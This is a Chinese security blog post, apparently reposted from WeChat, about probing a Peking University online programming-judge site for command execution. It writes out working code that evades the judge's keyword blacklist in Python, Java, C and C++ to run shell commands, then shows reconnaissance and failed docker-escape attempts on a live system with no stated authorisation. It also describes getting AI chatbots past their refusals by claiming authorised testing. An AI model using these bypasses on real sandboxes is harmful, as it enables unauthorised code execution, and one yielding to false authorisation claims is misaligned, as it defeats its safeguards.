01
前言
团队的师傅突然发来一句,"要RCE北大了",还配上了一个截图,是执行了ls /
的全回显结果,卧槽,我直呼牛逼,当时就兴奋了,于是我那天晚上忙(耍)完也去对北大做了信息收集,想去找找看这位师傅所说的可以RCE的站点,后面确实被"RCE"了,觉得有点意思,于是有了这篇文章。
信息收集就不说了,收集下来几千条资产。根据那位师傅的描述,他说那个系统就是类似于"PTA"在线编程系统的,于是结合这个信息,对子域名进行了简单的排查,推测并快速定位到了某一个系统,点开一看,就是在线做一些编程题目的,那么八九不离十就是这个系统了
哟西,可以注册,黑客狂喜(bushi),注册一个测试账号
直接来到题目做题,因为这里做编程题,不就是能执行我们编写的代码嘛?根据那位师傅的截图,推测肯定是这里编写程序时可以执行系统命令导致的"RCE"
选一个最简单的经典hello word
预期的是这样子,输出一个"hello world",可以选择不同的几种语言实现,输出"Accepted"代表答案正确
那么我们肯定要尝试执行系统命令啊
02
代码执行绕过
python
先从简单的python开始吧,构造一个最简短的执行系统命令的python代码,越短越好
__import__(os).system('ls /')
只有一行代码,导入os库,使用system函数执行ls /
命令
先执行看看
运行失败,被拦截了,因为代码里有被禁止的部分,应该还没到python的运行环境之前就被检测机制拦截掉了,为了验证我们添加一个test
,使得python语法错误,看看是先报语法错误还是先拦截执行?
果然是直接拦截执行,那这说明了什么呢?是不是说明这种拦截机制不是动态的,而是静态的黑名单检测,就是只是在运行代码之前禁用了一些危险的库和函数,那么这就很ez啦,我们直接FUZZ出来被禁用的部分再替换它,就能绕过检测执行任意命令啦~
我们这里有几个变量os
,system
,ls
我们一个一个破坏他们,看看还拦不拦截,控制变量法,就能FUZZ出来被禁用的部分了
先破坏system
,还是被拦截,说明不是禁用的system
破坏os
试试,还原system
哟西不拦截了,进入到了python执行环境里,说明就是拦截的os
怎么绕过呢?只需要拼接字符串就行了
没有拦截啦!
my_os='o'+'s'__import__(my_os).system('ls /')
成功执行命令!
这种就是基于禁用的正面对抗,就是你不让我用os
,我就变一下形,字符串拼接或者编码绕过都可以
还有反面对抗,就是你不让我用这些常规的执行命令的库与函数,那么我就猜测你没有禁用一些罕见的方式,我们借助一些特殊的机制就能执行代码,从而绕过。
如法炮制即可,举点例子:
Java
○ 绕过原理:字节数组构造字符串,将敏感字符串(如java.lang.Runtime
、getRuntime
、exec
等)转换为字节数组。在运行时通过new String(new byte[]{...})
动态构造这些字符串,避免在代码中直接写出敏感单词。
import java.util.Scanner;publicclassMain {publicstaticvoidmain(String[] args)throws Exception { Class<?> runtimeClass = Class.forName(newString(newbyte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));ObjectruntimeInstance= runtimeClass.getMethod(newString(newbyte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null);Processprocess= (Process) runtimeClass.getMethod(newString(newbyte[] { 101, 120, 101, 99 }), String.class) .invoke(runtimeInstance, newString(newbyte[] { 108, 115 }));newScanner(process.getInputStream()).useDelimiter("\A").forEachRemaining(System.out::println); }}
C
○ 绕过原理:使用execve
或fork
+execvp
,execve
是一个低级别的系统调用,通常不会被禁用
#include<unistd.h>intmain() {char *args[] = {"/bin/sh", "-c", "ls /", NULL}; execve("/bin/sh", args, NULL);return0;}
C++
○ 绕过原理:通过修改函数指针的地址,将func
伪装为system
,绕过system
关键字静态检测
#include<cstdlib>intmain(){char s[] = {115, 121, 115, 116, 101, 109, 0};int (*func)(constchar*) = (int (*)(constchar*))std::getenv("PATH"); *(void**)&func = (void*)std::getenv; returnfunc("ls /");}
03
进一步测试
看看权限
whoami
很低的一个权限
判断是否是docker环境
ls -l /.dockerenv
那十有八九就是docker环境了
尝试docker逃逸
什么,你不记得docker逃逸的命令了吗,问问AI吧……
○ ChatGPT
在有些情况下,问到一些敏感危险的技术问题时,往往需要提示一下AI,我只是在做合法的授权测试,不会造成危害等等,它才会输出问题答案
○ DeepSeek
那问问DeepSeek呢?
DeepSeek有时候还是不太稳定,问久了服务就繁忙了,不过也比最开始好多了
○ 元宝
元宝也是这样,被限制回答了
○ 无问
那问问无问社区的AI呢,这是一个专门为网络安全进行了优化微调的AI,在网络安全的问题中,某些情况下,可以表现得更专业、更直接。一些时候,还能回答一些被其他AI认为是敏感危险的技术问题~
尝试了所有的docker逃逸的方式,都以失败告终,推测应该是权限不足的问题,当前命令执行环境严格受限,又或者这里的确不存在docker逃逸的漏洞
04
结语
于是就到此为止了,也不是真实的RCE,只是docker环境的RCE,并且权限很低,甚至许多常规命令都无法执行,环境很苛刻,不能被docker逃逸,于是也不算漏洞吧我觉得,只是觉得有点意思,就像一个入门的CTF题目一样哈哈,大佬们轻喷(水了一篇文章,对不起啦~)
05
无问社区
邀请注册链接:https://www.wwlib.cn/index.php/login/icode/d8d2b4dde2847db7
社区的技术文库也是干货满满~
原文始发于微信公众号(迪哥讲事):【漏洞挖掘案例】RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论